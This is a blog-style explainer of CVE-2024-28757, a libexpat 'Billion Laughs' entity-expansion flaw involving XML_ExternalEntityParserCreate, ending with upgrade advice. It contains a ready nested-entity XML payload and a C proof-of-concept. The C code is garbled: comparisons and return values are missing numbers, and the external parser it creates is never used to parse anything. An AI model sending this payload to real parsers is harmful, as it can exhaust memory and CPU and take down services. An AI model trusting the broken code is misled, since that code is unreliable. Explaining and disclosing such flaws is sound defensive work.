In March 2024, a new vulnerability labeled CVE-2024-28757 was disclosed in the popular library libexpat (also known as Expat), affecting all versions through 2.6.1. This issue allows hackers to perform XML Entity Expansion attacks, also known as "Billion Laughs" attacks, when external entity parsers are created using XML_ExternalEntityParserCreate. In this long-read post, I'll break down the vulnerability in simple terms, show sample code, walk you through possible exploit scenarios, and provide resources for further reading.
What is libexpat?
libexpat is a widely used open-source XML parsing library written in C. It's used in thousands of open-source and commercial projects for processing XML data.
What is CVE-2024-28757?
To put it plainly: This vulnerability lets attackers cause denial-of-service or even system instability by abusing how libexpat handles XML entity references when you use external parsers.
Whenever you see code using XML_ExternalEntityParserCreate, and there's no proper defense, it's basically open season for this kind of attack.
The main issue: There’s no expansion depth or limits enforced for nested entities in certain cases, allowing attackers to expand an entity into thousands or millions of copies of itself, exhausting memory and CPU.
How do XML entities work?
In XML, an entity is an alias for some data, kind of like a shortcut. You can define your own entities in the XML Document Type Definition (DTD):
<!DOCTYPE root [
<!ENTITY mydata "Hello, world!">
]>
<root>&mydata;</root>
When the parser sees &mydata;, it will replace it with "Hello, world!".
It’s a famous attack that defines nested entities like this
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>
Each entity is expanded into 10 of the previous, and so on, causing exponential growth.
The CVE-2024-28757 Vulnerability in libexpat
Normally, XML parsers should restrict entity expansion, to avoid these attacks.
But: If you're using XML_ExternalEntityParserCreate to process XML, libexpat did not enforce these restrictions through version 2.6.1.
That means, in situations where you isolate parsing using this function (a common practice when parsing referenced external XML files or streams), you are wide open to "billion laughs"-style attacks.
Proof-of-Concept (PoC) Code
Let's see it in action with a C example. Note: Running this PoC on vulnerable libexpat can freeze or crash your system.
Save this as payload.xml
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
]>
<lolz>&lol6;</lolz>
C Code Using libexpat
#include <stdio.h>
#include <stdlib.h>
#include <expat.h>
// Handler function for parser (does nothing)
void start(void *data, const char *el, const char **attr) {}
int main(int argc, char *argv[]) {
char buffer[8192];
FILE *fp = fopen("payload.xml", "r");
if (!fp) {
perror("File open failed");
return 1;
}
XML_Parser parser = XML_ParserCreate(NULL);
XML_SetElementHandler(parser, start, NULL);
size_t len;
while ((len = fread(buffer, 1, sizeof(buffer), fp)) > ) {
if (XML_Parse(parser, buffer, len, len < sizeof(buffer)) == XML_STATUS_ERROR) {
fprintf(stderr, "Parse error at line %lu: %s\n",
XML_GetCurrentLineNumber(parser),
XML_ErrorString(XML_GetErrorCode(parser)));
break;
}
}
XML_Parser extParser = XML_ExternalEntityParserCreate(parser, NULL, NULL);
// Parsing again with extParser repeats the risk in an isolated parser
XML_ParserFree(parser);
fclose(fp);
return ;
}
If you use the external entity parser (extParser) on crafted input, it will keep expanding until all resources are consumed, eventually freezing the process or the entire server.
Who is Affected?
1. Any software/package using libexpat ≤ 2.6.1
How to Fix It
- Upgrade to libexpat 2.6.2 or later. Patch available here
Further Reading and References
- libexpat Security Advisory
- CVE Details: CVE-2024-28757
- The “Billion Laughs” Attack Explained
- libexpat GitHub
Final Thoughts
A bug like CVE-2024-28757 reminds us that basics matter—parsing untrusted input without limits always carries risk. Updating dependencies on time and reviewing parsing practices is essential. If your project uses libexpat or any C XML parser, double-check how you handle entity expansion today.
Spread the word and stay safe!
*This article is exclusive and simplified for easy reading and implementation. Share with your dev and security teams.*
Timeline
Published on: 03/10/2024 05:15:06 UTC
Last modified on: 02/26/2025 15:14:55 UTC